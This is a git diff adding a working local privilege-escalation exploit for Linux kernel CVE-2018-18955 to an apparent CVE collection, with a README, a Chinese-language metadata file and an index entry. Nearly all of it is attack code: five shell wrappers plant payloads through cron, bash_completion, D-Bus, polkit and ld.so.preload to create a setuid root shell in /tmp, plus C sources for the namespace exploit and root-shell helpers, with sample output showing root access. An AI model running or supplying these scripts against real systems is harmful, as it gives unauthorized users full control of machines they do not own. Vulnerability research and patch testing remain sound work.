diff --git a/cve/linux-kernel/2018/CVE-2018-18955/README.md b/cve/linux-kernel/2018/CVE-2018-18955/README.md new file mode 100644 index 0000000000000000000000000000000000000000..5564e46a3f4fdbec0262af456403ac59b4c53744 --- /dev/null +++ b/cve/linux-kernel/2018/CVE-2018-18955/README.md @@ -0,0 +1,29 @@ +

CVE-2018-18955

+ +Linux local root exploit. + +Wrapper for Jann Horn's +[exploit](https://bugs.chromium.org/p/project-zero/issues/detail?id=1712) for +[CVE-2018-18955](https://nvd.nist.gov/vuln/detail/CVE-2018-18955), forked from +[kernel-exploits](https://github.com/bcoles/kernel-exploits). + +In the Linux kernel 4.15.x through 4.19.x before 4.19.2, `map_write()` +in `kernel/user_namespace.c` allows privilege escalation because it +mishandles nested user namespaces with more than 5 UID or GID ranges. A +user who has `CAP_SYS_ADMIN` in an affected user namespace can bypass +access controls on resources outside the namespace, as demonstrated by +reading `/etc/shadow`. This occurs because an ID transformation takes +place properly for the namespaced-to-kernel direction but not for the +kernel-to-namespaced direction. + +### Usage + +Simply run one of the shell +scripts depending on the targeted exploitation technique. + +### Disclaimer + +Running unathorized attacks to public or private servers is illegal. The +content of this repository is for educational purposes only and no +responsibility will be taken by the authors in case of ill use of the +provided material. diff --git a/cve/linux-kernel/2018/CVE-2018-18955/exploit.bash_completion.sh b/cve/linux-kernel/2018/CVE-2018-18955/exploit.bash_completion.sh new file mode 100755 index 0000000000000000000000000000000000000000..0d2c16a21bafb8e91c5d91b2fe56cb4e1ae7cc87 --- /dev/null +++ b/cve/linux-kernel/2018/CVE-2018-18955/exploit.bash_completion.sh @@ -0,0 +1,103 @@ +#!/bin/sh +# wrapper for Jann Horn's exploit for CVE-2018-18955 +# uses bash_completion technique +# --- +# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.bash_completion.sh +# [*] Compiling... +# [*] Writing payload to /etc/bash_completion.d/subuid ... +# [.] starting +# [.] setting up namespace +# [~] done, namespace sandbox set up +# [.] mapping subordinate ids +# [.] subuid: 165536 +# [.] subgid: 165536 +# [~] done, mapped subordinate ids +# [.] executing subshell +# [*] Waiting for root user to login ... +# [+] Success: +# -rwsrwxr-x 1 root root 8384 Oct 4 13:46 /tmp/sh +# [*] Cleaning up... +# [*] Launching root shell: /tmp/sh +# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id +# uid=0(root) gid=0(root) groups=0(root),1001(test) + +rootshell="/tmp/sh" +bootstrap="/etc/bash_completion.d/subuid" + +command_exists() { + command -v "${1}" >/dev/null 2>/dev/null +} + +if ! command_exists /usr/bin/newuidmap; then + echo '[-] newuidmap is not installed' + exit 1 +fi + +if ! command_exists /usr/bin/newgidmap; then + echo '[-] newgidmap is not installed' + exit 1 +fi + +if ! test -w .; then + echo '[-] working directory is not writable' + exit 1 +fi + +echo "[*] Compiling..." + +if ! gcc subuid_shell.c -o subuid_shell; then + echo 'Compiling subuid_shell.c failed' + echo 'Using precompiled binary' + cp bin/subuid_shell . + + if [ $? -ne 0 ] + then + echo "Could not copy precompiled binary" + exit 1 + fi +fi + +if ! gcc subshell.c -o subshell; then + echo 'Compiling gcc_subshell.c failed' + echo 'Using precompiled binary' + cp bin/subshell . + + if [ $? -ne 0 ] + then + echo "Could not copy precompiled binary" + exit 1 + fi +fi + +if ! gcc rootshell.c -o "${rootshell}"; then + echo 'Compiling rootshell.c failed' + echo 'Using precompiled binary' + cp bin/rootshell "${rootshell}" + + if [ $? -ne 0 ] + then + echo "Could not copy rootshell to '${rootshell}'" + exit 1 + fi +fi + +echo "[*] Writing payload to /etc/bash_completion.d/subuid ..." + +echo "echo 'if [[ \$EUID -ne 0 ]]; then exit; fi; /bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}; /bin/rm ${bootstrap}' > ${bootstrap}" | ./subuid_shell ./subshell + +echo "[*] Waiting for root user to login ..." +while [ ! -u "${rootshell}" ]; +do + sleep 15; +done + +echo '[+] Success:' +/bin/ls -la "${rootshell}" + +echo '[*] Cleaning up...' +/bin/rm subuid_shell +/bin/rm subshell + +echo "[*] Launching root shell: ${rootshell}" +$rootshell + diff --git a/cve/linux-kernel/2018/CVE-2018-18955/exploit.cron.sh b/cve/linux-kernel/2018/CVE-2018-18955/exploit.cron.sh new file mode 100755 index 0000000000000000000000000000000000000000..da87977902fc9642259496f89fda57973153cff1 --- /dev/null +++ b/cve/linux-kernel/2018/CVE-2018-18955/exploit.cron.sh @@ -0,0 +1,118 @@ +#!/bin/sh +# wrapper for Jann Horn's exploit for CVE-2018-18955 +# uses crontab technique +# --- +# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.cron.sh +# [*] Compiling... +# [*] Writing payload to /tmp/payload... +# [*] Adding cron job... (wait a minute) +# [.] starting +# [.] setting up namespace +# [~] done, namespace sandbox set up +# [.] mapping subordinate ids +# [.] subuid: 165536 +# [.] subgid: 165536 +# [~] done, mapped subordinate ids +# [.] executing subshell +# [+] Success: +# -rwsrwxr-x 1 root root 8384 Nov 21 19:47 /tmp/sh +# [*] Cleaning up... +# [!] Remember to clean up /etc/crontab +# [*] Launching root shell: /tmp/sh +# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id +# uid=0(root) gid=0(root) groups=0(root),1001(test) + +rootshell="/tmp/sh" +bootstrap="/tmp/payload" + +command_exists() { + command -v "${1}" >/dev/null 2>/dev/null +} + +if ! command_exists /usr/bin/newuidmap; then + echo '[-] newuidmap is not installed' + exit 1 +fi + +if ! command_exists /usr/bin/newgidmap; then + echo '[-] newgidmap is not installed' + exit 1 +fi + +if ! test -w .; then + echo '[-] working directory is not writable' + exit 1 +fi + +echo "[*] Compiling..." + +if ! gcc subuid_shell.c -o subuid_shell; then + echo 'Compiling subuid_shell.c failed' + echo 'Using precompiled binary' + cp bin/subuid_shell . + + if [ $? -ne 0 ] + then + echo "Could not copy precompiled binary" + exit 1 + fi +fi + +if ! gcc subshell.c -o subshell; then + echo 'Compiling gcc_subshell.c failed' + echo 'Using precompiled binary' + cp bin/subshell . + + if [ $? -ne 0 ] + then + echo "Could not copy precompiled binary" + exit 1 + fi +fi + +if ! gcc rootshell.c -o "${rootshell}"; then + echo 'Compiling rootshell.c failed' + echo 'Using precompiled binary' + cp bin/rootshell "${rootshell}" + + if [ $? -ne 0 ] + then + echo "Could not copy rootshell to '${rootshell}'" + exit 1 + fi +fi + +echo "[*] Writing payload to ${bootstrap}..." + +echo "#!/bin/sh\n/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" > $bootstrap +/bin/chmod +x "${bootstrap}" + +echo "[*] Adding cron job... (wait a minute)" + +echo "echo '* * * * * root ${bootstrap}' >> /etc/crontab" | ./subuid_shell ./subshell +sleep 60 + +if ! test -u "${rootshell}"; then + echo '[-] Failed' + /bin/rm "${rootshell}" + /bin/rm "${bootstrap}" + exit 1 +fi + +echo '[+] Success:' +ls -la "${rootshell}" + +echo '[*] Cleaning up...' +/bin/rm "${bootstrap}" +/bin/rm subuid_shell +/bin/rm subshell + +if command_exists /bin/sed; then + echo "/bin/sed -i '\$ d' /etc/crontab" | $rootshell +else + echo "[!] Manual clean up of /etc/crontab required" +fi + +echo "[*] Launching root shell: ${rootshell}" +$rootshell + diff --git a/cve/linux-kernel/2018/CVE-2018-18955/exploit.dbus.sh b/cve/linux-kernel/2018/CVE-2018-18955/exploit.dbus.sh new file mode 100755 index 0000000000000000000000000000000000000000..75b678dacb7263b592dc0611c06bddff1c227461 --- /dev/null +++ b/cve/linux-kernel/2018/CVE-2018-18955/exploit.dbus.sh @@ -0,0 +1,162 @@ +#!/bin/sh +# wrapper for Jann Horn's exploit for CVE-2018-18955 +# uses dbus service technique +# --- +# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.dbus.sh +# [*] Compiling... +# [*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service... +# [.] starting +# [.] setting up namespace +# [~] done, namespace sandbox set up +# [.] mapping subordinate ids +# [.] subuid: 165536 +# [.] subgid: 165536 +# [~] done, mapped subordinate ids +# [.] executing subshell +# [*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf... +# [.] starting +# [.] setting up namespace +# [~] done, namespace sandbox set up +# [.] mapping subordinate ids +# [.] subuid: 165536 +# [.] subgid: 165536 +# [~] done, mapped subordinate ids +# [.] executing subshell +# [*] Launching dbus service... +# Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken. +# [+] Success: +# -rwsrwxr-x 1 root root 8384 Jan 4 18:31 /tmp/sh +# [*] Cleaning up... +# [*] Launching root shell: /tmp/sh +# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id +# uid=0(root) gid=0(root) groups=0(root),1001(test) + +rootshell="/tmp/sh" +service="org.subuid.Service" + +command_exists() { + command -v "${1}" >/dev/null 2>/dev/null +} + +if ! command_exists /usr/bin/dbus-send; then + echo '[-] dbus-send is not installed' + exit 1 +fi + +if ! command_exists /usr/bin/newuidmap; then + echo '[-] newuidmap is not installed' + exit 1 +fi + +if ! command_exists /usr/bin/newgidmap; then + echo '[-] newgidmap is not installed' + exit 1 +fi + +if ! test -w .; then + echo '[-] working directory is not writable' + exit 1 +fi + +echo "[*] Compiling..." + +if ! gcc subuid_shell.c -o subuid_shell; then + echo 'Compiling subuid_shell.c failed' + echo 'Using precompiled binary' + cp bin/subuid_shell . + + if [ $? -ne 0 ] + then + echo "Could not copy precompiled binary" + exit 1 + fi +fi + +if ! gcc subshell.c -o subshell; then + echo 'Compiling gcc_subshell.c failed' + echo 'Using precompiled binary' + cp bin/subshell . + + if [ $? -ne 0 ] + then + echo "Could not copy precompiled binary" + exit 1 + fi +fi + +if ! gcc rootshell.c -o "${rootshell}"; then + echo 'Compiling rootshell.c failed' + echo 'Using precompiled binary' + cp bin/rootshell "${rootshell}" + + if [ $? -ne 0 ] + then + echo "Could not copy rootshell to '${rootshell}'" + exit 1 + fi +fi + +echo "[*] Creating /usr/share/dbus-1/system-services/${service}.service..." + +cat << EOF > "${service}.service" +[D-BUS Service] +Name=${service} +Exec=/bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" +User=root +EOF + +echo "cp ${service}.service /usr/share/dbus-1/system-services/${service}.service" | ./subuid_shell ./subshell + +if ! test -r "/usr/share/dbus-1/system-services/${service}.service"; then + echo '[-] Failed' + /bin/rm "${rootshell}" + exit 1 +fi + +echo "[*] Creating /etc/dbus-1/system.d/${service}.conf..." + +cat << EOF > "${service}.conf" + + + + + + +EOF + +echo "cp ${service}.conf /etc/dbus-1/system.d/${service}.conf" | ./subuid_shell ./subshell + +if ! test -r "/etc/dbus-1/system.d/${service}.conf"; then + echo '[-] Failed' + /bin/rm "${rootshell}" + exit 1 +fi + +echo "[*] Launching dbus service..." + +/usr/bin/dbus-send --system --print-reply --dest="${service}" --type=method_call --reply-timeout=1 / "${service}" + +sleep 1 + +if ! test -u "${rootshell}"; then + echo '[-] Failed' + /bin/rm "${rootshell}" + exit 1 +fi + +echo '[+] Success:' +/bin/ls -la "${rootshell}" + +echo '[*] Cleaning up...' +/bin/rm subuid_shell +/bin/rm subshell +/bin/rm "${service}.conf" +/bin/rm "${service}.service" +echo "/bin/rm /usr/share/dbus-1/system-services/${service}.service" | $rootshell +echo "/bin/rm /etc/dbus-1/system.d/${service}.conf" | $rootshell + +echo "[*] Launching root shell: ${rootshell}" +$rootshell + diff --git a/cve/linux-kernel/2018/CVE-2018-18955/exploit.ldpreload.sh b/cve/linux-kernel/2018/CVE-2018-18955/exploit.ldpreload.sh new file mode 100755 index 0000000000000000000000000000000000000000..79be6a6273d20e6dd1b252639d121a8b091b7dd1 --- /dev/null +++ b/cve/linux-kernel/2018/CVE-2018-18955/exploit.ldpreload.sh @@ -0,0 +1,110 @@ +#!/bin/sh +# wrapper for Jann Horn's exploit for CVE-2018-18955 +# uses ld.so.preload technique +# --- +# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.ldpreload.sh +# [*] Compiling... +# [*] Adding libsubuid.so to /etc/ld.so.preload... +# [.] starting +# [.] setting up namespace +# [~] done, namespace sandbox set up +# [.] mapping subordinate ids +# [.] subuid: 165536 +# [.] subgid: 165536 +# [~] done, mapped subordinate ids +# [.] executing subshell +# [+] Success: +# -rwsrwxr-x 1 root root 8384 Nov 21 19:07 /tmp/sh +# [*] Launching root shell: /tmp/sh +# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id +# uid=0(root) gid=0(root) groups=0(root),1001(test) + +rootshell="/tmp/sh" +lib="libsubuid.so" + +command_exists() { + command -v "${1}" >/dev/null 2>/dev/null +} + +if ! command_exists /usr/bin/newuidmap; then + echo '[-] newuidmap is not installed' + exit 1 +fi + +if ! command_exists /usr/bin/newgidmap; then + echo '[-] newgidmap is not installed' + exit 1 +fi + +if ! test -w .; then + echo '[-] working directory is not writable' + exit 1 +fi + +echo "[*] Compiling..." + +if ! gcc subuid_shell.c -o subuid_shell; then + echo 'Compiling subuid_shell.c failed' + echo 'Using precompiled binary' + cp bin/subuid_shell . + + if [ $? -ne 0 ] + then + echo "Could not copy precompiled binary" + exit 1 + fi +fi + +if ! gcc subshell.c -o subshell; then + echo 'Compiling gcc_subshell.c failed' + echo 'Using precompiled binary' + cp bin/subshell . + + if [ $? -ne 0 ] + then + echo "Could not copy precompiled binary" + exit 1 + fi +fi + +if ! gcc rootshell.c -o "${rootshell}"; then + echo 'Compiling rootshell.c failed' + echo 'Using precompiled binary' + cp bin/rootshell "${rootshell}" + + if [ $? -ne 0 ] + then + echo "Could not copy rootshell to '${rootshell}'" + exit 1 + fi +fi + +if ! gcc libsubuid.c -fPIC -shared -o "${lib}"; then + echo 'Compiling libsubuid.c failed' + echo 'Using precompiled shared library' + cp bin/libsubuid "${lib}" +fi + +echo "[*] Adding ${lib} to /etc/ld.so.preload..." + +echo "cp ${lib} /lib/; echo /lib/${lib} > /etc/ld.so.preload" | ./subuid_shell ./subshell + +/usr/bin/newuidmap + +if ! test -u "${rootshell}"; then + echo '[-] Failed' + /bin/rm "${rootshell}" + exit 1 +fi + +echo '[+] Success:' +/bin/ls -la "${rootshell}" + +echo '[*] Cleaning up...' +/bin/rm subuid_shell +/bin/rm subshell +echo "/bin/rm /lib/${lib}" | $rootshell + +echo "[*] Launching root shell: ${rootshell}" +$rootshell + diff --git a/cve/linux-kernel/2018/CVE-2018-18955/exploit.polkit.sh b/cve/linux-kernel/2018/CVE-2018-18955/exploit.polkit.sh new file mode 100755 index 0000000000000000000000000000000000000000..ad0e27cee801ab8d81291325a13ad919efb999f1 --- /dev/null +++ b/cve/linux-kernel/2018/CVE-2018-18955/exploit.polkit.sh @@ -0,0 +1,134 @@ +#!/bin/sh +# wrapper for Jann Horn's exploit for CVE-2018-18955 +# uses polkit technique +# --- +# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.polkit.sh +# [*] Compiling... +# [*] Creating /usr/share/polkit-1/actions/subuid.policy... +# [.] starting +# [.] setting up namespace +# [~] done, namespace sandbox set up +# [.] mapping subordinate ids +# [.] subuid: 165536 +# [.] subgid: 165536 +# [~] done, mapped subordinate ids +# [.] executing subshell +# [*] Launching pkexec... +# [+] Success: +# -rwsrwxr-x 1 root root 8384 Dec 29 14:22 /tmp/sh +# [*] Cleaning up... +# [*] Launching root shell: /tmp/sh +# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id +# uid=0(root) gid=0(root) groups=0(root),1001(test) + +rootshell="/tmp/sh" +policy="subuid.policy" + +command_exists() { + command -v "${1}" >/dev/null 2>/dev/null +} + +if ! command_exists /usr/bin/pkexec; then + echo '[-] pkexec is not installed' + exit 1 +fi + +if ! command_exists /usr/bin/newuidmap; then + echo '[-] newuidmap is not installed' + exit 1 +fi + +if ! command_exists /usr/bin/newgidmap; then + echo '[-] newgidmap is not installed' + exit 1 +fi + +if ! test -w .; then + echo '[-] working directory is not writable' + exit 1 +fi + +echo "[*] Compiling..." + +if ! gcc subuid_shell.c -o subuid_shell; then + echo 'Compiling subuid_shell.c failed' + echo 'Using precompiled binary' + cp bin/subuid_shell . + + if [ $? -ne 0 ] + then + echo "Could not copy precompiled binary" + exit 1 + fi +fi + +if ! gcc subshell.c -o subshell; then + echo 'Compiling gcc_subshell.c failed' + echo 'Using precompiled binary' + cp bin/subshell . + + if [ $? -ne 0 ] + then + echo "Could not copy precompiled binary" + exit 1 + fi +fi + +if ! gcc rootshell.c -o "${rootshell}"; then + echo 'Compiling rootshell.c failed' + echo 'Using precompiled binary' + cp bin/rootshell "${rootshell}" + + if [ $? -ne 0 ] + then + echo "Could not copy rootshell to '${rootshell}'" + exit 1 + fi +fi + +echo "[*] Creating /usr/share/polkit-1/actions/${policy}..." + +echo ' + + + + + yes + yes + yes + + +' > "${policy}" + +echo "cp ${policy} /usr/share/polkit-1/actions/${policy}" | ./subuid_shell ./subshell + +if ! test -r "/usr/share/polkit-1/actions/${policy}"; then + echo '[-] Failed' + /bin/rm "${rootshell}" + exit 1 +fi + +echo "[*] Launching pkexec..." + +/usr/bin/pkexec --disable-internal-agent 2>/dev/null /bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" + +if ! test -u "${rootshell}"; then + echo '[-] Failed' + /bin/rm "${rootshell}" + exit 1 +fi + +echo '[+] Success:' +/bin/ls -la "${rootshell}" + +echo '[*] Cleaning up...' +/bin/rm subuid_shell +/bin/rm subshell +/bin/rm "${policy}" +echo "/bin/rm /usr/share/polkit-1/actions/${policy}" | $rootshell + +echo "[*] Launching root shell: ${rootshell}" +$rootshell + diff --git a/cve/linux-kernel/2018/CVE-2018-18955/libsubuid.c b/cve/linux-kernel/2018/CVE-2018-18955/libsubuid.c new file mode 100644 index 0000000000000000000000000000000000000000..4c6e1f1f09c99ac7835b37bedef51d106a55bada --- /dev/null +++ b/cve/linux-kernel/2018/CVE-2018-18955/libsubuid.c @@ -0,0 +1,14 @@ +#include +#include +#include + +void init(void) __attribute__((constructor)); + +void __attribute__((constructor)) init() { + setuid(0); + setgid(0); + unlink("/etc/ld.so.preload"); + system("chown root:root /tmp/sh"); + system("chmod u+s /tmp/sh"); + _exit(0); +} diff --git a/cve/linux-kernel/2018/CVE-2018-18955/rootshell.c b/cve/linux-kernel/2018/CVE-2018-18955/rootshell.c new file mode 100644 index 0000000000000000000000000000000000000000..2628d4914eb5eeb70a2317bd5b1a61b6ed1196a6 --- /dev/null +++ b/cve/linux-kernel/2018/CVE-2018-18955/rootshell.c @@ -0,0 +1,9 @@ +#include +#include +#include + +int main(void) { + setuid(0); + setgid(0); + execl("/bin/bash", "bash", NULL); +} diff --git a/cve/linux-kernel/2018/CVE-2018-18955/subshell.c b/cve/linux-kernel/2018/CVE-2018-18955/subshell.c new file mode 100644 index 0000000000000000000000000000000000000000..c4654292d8a55261b04f06d4c1826367c7cae312 --- /dev/null +++ b/cve/linux-kernel/2018/CVE-2018-18955/subshell.c @@ -0,0 +1,98 @@ +// subshell.c +// author: Jann Horn +// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int main() { + int sync_pipe[2]; + char dummy; + + if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) { + err(1, "pipe"); + } + + pid_t child = fork(); + + if (child == -1) { + err(1, "fork"); + } + + if (child == 0) { + close(sync_pipe[1]); + + if (unshare(CLONE_NEWUSER)) { + err(1, "unshare userns"); + } + + if (write(sync_pipe[0], "X", 1) != 1) { + err(1, "write to sock"); + } + + if (read(sync_pipe[0], &dummy, 1) != 1) { + err(1, "read from sock"); + } + + execl("/bin/bash", "bash", NULL); + err(1, "exec"); + } + + close(sync_pipe[0]); + + if (read(sync_pipe[1], &dummy, 1) != 1) { + err(1, "read from sock"); + } + + char pbuf[100]; + sprintf(pbuf, "/proc/%d", (int)child); + + if (chdir(pbuf)) { + err(1, "chdir"); + } + + const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n"; + int uid_map = open("uid_map", O_WRONLY); + + if (uid_map == -1) { + err(1, "open uid map"); + } + + if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) { + err(1, "write uid map"); + } + + close(uid_map); + + int gid_map = open("gid_map", O_WRONLY); + + if (gid_map == -1) { + err(1, "open gid map"); + } + + if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) { + err(1, "write gid map"); + } + + close(gid_map); + + if (write(sync_pipe[1], "X", 1) != 1) { + err(1, "write to sock"); + } + + int status; + + if (wait(&status) != child) { + err(1, "wait"); + } + + return 0; +} diff --git a/cve/linux-kernel/2018/CVE-2018-18955/subuid_shell.c b/cve/linux-kernel/2018/CVE-2018-18955/subuid_shell.c new file mode 100644 index 0000000000000000000000000000000000000000..21d638930d9c28e9d9d566a8e4e75da71e4d7a67 --- /dev/null +++ b/cve/linux-kernel/2018/CVE-2018-18955/subuid_shell.c @@ -0,0 +1,322 @@ +// subuid_shell.c - Linux local root exploit for CVE-2018-18955 +// Exploits broken uid/gid mapping in nested user namespaces. +// --- +// Mostly stolen from Jann Horn's exploit: +// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 +// Some code stolen from Xairy's exploits: +// - https://github.com/xairy/kernel-exploits +// --- +// +// - added auto subordinate id mapping +// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955 + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define DEBUG + +#ifdef DEBUG +# define dprintf printf +#else +# define dprintf +#endif + +char* SUBSHELL = "./subshell"; + + +// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * * + +#define CHUNK_SIZE 1024 + +int read_file( + const char* file, + char* buffer, + int max_length +) { + int f = open(file, O_RDONLY); + + if (f == -1) { + return -1; + } + + int bytes_read = 0; + + while (1) { + int bytes_to_read = CHUNK_SIZE; + + if (bytes_to_read > max_length - bytes_read) { + bytes_to_read = max_length - bytes_read; + } + + int rv = read(f, &buffer[bytes_read], bytes_to_read); + + if (rv == -1) { + return -1; + } + + bytes_read += rv; + + if (rv == 0) { + return bytes_read; + } + } +} + +static int write_file( + const char* file, + const char* what, + ... +) { + char buf[1024]; + va_list args; + + va_start(args, what); + vsnprintf(buf, sizeof(buf), what, args); + va_end(args); + + buf[sizeof(buf) - 1] = 0; + + int len = strlen(buf); + int fd = open(file, O_WRONLY | O_CLOEXEC); + + if (fd == -1) { + return -1; + } + + if (write(fd, buf, len) != len) { + close(fd); + return -1; + } + + close(fd); + return 0; +} + + +// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * * + +int get_subuid( + char* output, + int max_length +) { + char buffer[1024]; + char* path = "/etc/subuid"; + int length = read_file(path, &buffer[0], sizeof(buffer)); + + if (length == -1) { + return -1; + } + + int real_uid = getuid(); + struct passwd *u = getpwuid(real_uid); + + char needle[1024]; + + sprintf(needle, "%s:", u->pw_name); + + int needle_length = strlen(needle); + char* found = memmem(&buffer[0], length, needle, needle_length); + + if (found == NULL) { + return -1; + } + + for (int i = 0; found[needle_length + i] != ':'; i++) { + if ( + i >= max_length + || ((found - &buffer[0]) + needle_length + i >= length) + ) { + return -1; + } + + output[i] = found[needle_length + i]; + } + + return 0; +} + +int get_subgid( + char* output, + int max_length +) { + char buffer[1024]; + char* path = "/etc/subgid"; + int length = read_file(path, &buffer[0], sizeof(buffer)); + + if (length == -1) { + return -1; + } + + char needle[1024]; + int real_gid = getgid(); + struct group *g = getgrgid(real_gid); + + sprintf(needle, "%s:", g->gr_name); + + int needle_length = strlen(needle); + char* found = memmem(&buffer[0], length, needle, needle_length); + + if (found == NULL) { + return -1; + } + + for (int i = 0; found[needle_length + i] != ':'; i++) { + if ( + i >= max_length + || ((found - &buffer[0]) + needle_length + i >= length) + ) { + return -1; + } + + output[i] = found[needle_length + i]; + } + + return 0; +} + + +// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * + +int main(int argc, char** argv) { + if (argc > 1) { + SUBSHELL = argv[1]; + } + + dprintf("[.] starting\n"); + dprintf("[.] setting up namespace\n"); + + int sync_pipe[2]; + char dummy; + + if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) { + dprintf("[-] pipe\n"); + exit(EXIT_FAILURE); + } + + pid_t child = fork(); + + if (child == -1) { + dprintf("[-] fork"); + exit(EXIT_FAILURE); + } + + if (child == 0) { + prctl(PR_SET_PDEATHSIG, SIGKILL); + close(sync_pipe[1]); + + if (unshare(CLONE_NEWUSER) != 0) { + dprintf("[-] unshare(CLONE_NEWUSER)\n"); + exit(EXIT_FAILURE); + } + + if (unshare(CLONE_NEWNET) != 0) { + dprintf("[-] unshare(CLONE_NEWNET)\n"); + exit(EXIT_FAILURE); + } + + if (write(sync_pipe[0], "X", 1) != 1) { + dprintf("write to sock\n"); + exit(EXIT_FAILURE); + } + + if (read(sync_pipe[0], &dummy, 1) != 1) { + dprintf("[-] read from sock\n"); + exit(EXIT_FAILURE); + } + + if (setgid(0)) { + dprintf("[-] setgid"); + exit(EXIT_FAILURE); + } + + if (setuid(0)) { + printf("[-] setuid"); + exit(EXIT_FAILURE); + } + + execl(SUBSHELL, "", NULL); + dprintf("[-] executing subshell failed\n"); + } + + close(sync_pipe[0]); + + if (read(sync_pipe[1], &dummy, 1) != 1) { + dprintf("[-] read from sock\n"); + exit(EXIT_FAILURE); + } + + char path[256]; + + sprintf(path, "/proc/%d/setgroups", (int)child); + + if (write_file(path, "deny") == -1) { + dprintf("[-] denying setgroups failed\n"); + exit(EXIT_FAILURE); + } + + dprintf("[~] done, namespace sandbox set up\n"); + dprintf("[.] mapping subordinate ids\n"); + + char subuid[64]; + char subgid[64]; + + if (get_subuid(&subuid[0], sizeof(subuid))) { + dprintf("[-] couldn't find subuid map in /etc/subuid\n"); + exit(EXIT_FAILURE); + } + + if (get_subgid(&subgid[0], sizeof(subgid))) { + dprintf("[-] couldn't find subgid map in /etc/subgid\n"); + exit(EXIT_FAILURE); + } + + dprintf("[.] subuid: %s\n", subuid); + dprintf("[.] subgid: %s\n", subgid); + + char cmd[256]; + + sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid); + + if (system(cmd)) { + dprintf("[-] newuidmap failed"); + exit(EXIT_FAILURE); + } + + sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid); + + if (system(cmd)) { + dprintf("[-] newgidmap failed"); + exit(EXIT_FAILURE); + } + + dprintf("[~] done, mapped subordinate ids\n"); + dprintf("[.] executing subshell\n"); + + if (write(sync_pipe[1], "X", 1) != 1) { + dprintf("[-] write to sock"); + exit(EXIT_FAILURE); + } + + int status; + + if (wait(&status) != child) { + dprintf("[-] wait"); + exit(EXIT_FAILURE); + } + + return 0; +} diff --git a/cve/linux-kernel/2018/yaml/CVE-2018-18955.yaml b/cve/linux-kernel/2018/yaml/CVE-2018-18955.yaml new file mode 100644 index 0000000000000000000000000000000000000000..d7231be5905b10ce22acc6492225ad3c0e740e21 --- /dev/null +++ b/cve/linux-kernel/2018/yaml/CVE-2018-18955.yaml @@ -0,0 +1,19 @@ +id: CVE-2018-18955 +source: https://github.com/scheatkode/CVE-2018-18955 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + 在Linux内核4.15.x至4.19.2之前,kernel/user_namespace.c中的map_write()允许权限升级,因为它错误地处理了有超过5个UID或GID范围的嵌套用户名称空间。在受影响的用户命名空间中拥有CAP_SYS_ADMIN的用户可以绕过对命名空间以外的资源的访问控制,如阅读/etc/shadow。出现这种情况是因为ID转换在命名空间到内核的方向上正确进行,但在内核到命名空间的方向上不正确。 + scope-of-influence: + 4.15.x <= Linux kernel < 4.19.2 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2018-18955 + - https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2 + cvss-metrics: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.0 + cve-id: CVE-2018-18955 + cwe-id: CWE-863 + cnvd-id: None + kve-id: None + tags: RCE, 提权 \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index 49698b4f28cfa38b180216bcfad735d14085ef70..f4d813d3d001ed9883aaa1a2ab0ae0e1af5fb4a8 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -12,6 +12,7 @@ cve: - CVE-2021-33624 - CVE-2020-27194 - CVE-2023-0179 + - CVE-2018-18955 polkit: - CVE-2021-3560 Outlook: